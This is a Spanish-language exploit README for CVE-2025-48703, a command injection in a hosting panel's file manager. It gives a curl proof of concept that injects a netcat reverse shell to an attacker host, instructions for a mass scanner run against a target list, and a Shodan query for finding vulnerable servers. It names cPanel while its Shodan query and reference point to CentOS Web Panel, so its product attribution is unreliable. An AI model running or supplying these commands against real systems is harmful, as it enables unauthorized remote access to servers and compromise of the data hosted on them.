🛡️ CVE-2025-48703 - Ejecución Remota de Código (RCE) en cPanel File Manager

📌 Descripción

CVE-2025-48703 es una vulnerabilidad de Ejecución Remota de Código (RCE) en el módulo filemanager de un panel de control de hosting web (por ejemplo, cPanel). Ocurre debido a manejo de entrada sin desinfección en la función acc=changePerm, lo que permite a un atacante inyectar y ejecutar comandos arbitrarios del sistema utilizando el parámetro t_total.

🧨 Impacto

Esta vulnerabilidad permite a los atacantes:

• Ejecutar comandos arbitrarios en el servidor objetivo.
• Establecer una shell inversa para acceso persistente.
• Potencialmente escalar privilegios o moverse lateralmente.

⚠️ Este ataque puede realizarse con autenticación mínima, o en algunas configuraciones, acceso sin autenticación.

🚀 Prueba de Concepto (PoC)

✅ Comando de Shell Inversa

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'

Uso del escáner

python3 Scanner.py  #Make sure targets.txt is in the same dir

Búsqueda en Shodan

Server: cwpsrv

Referencia: https://fenrisk.com/rce-centos-webpanel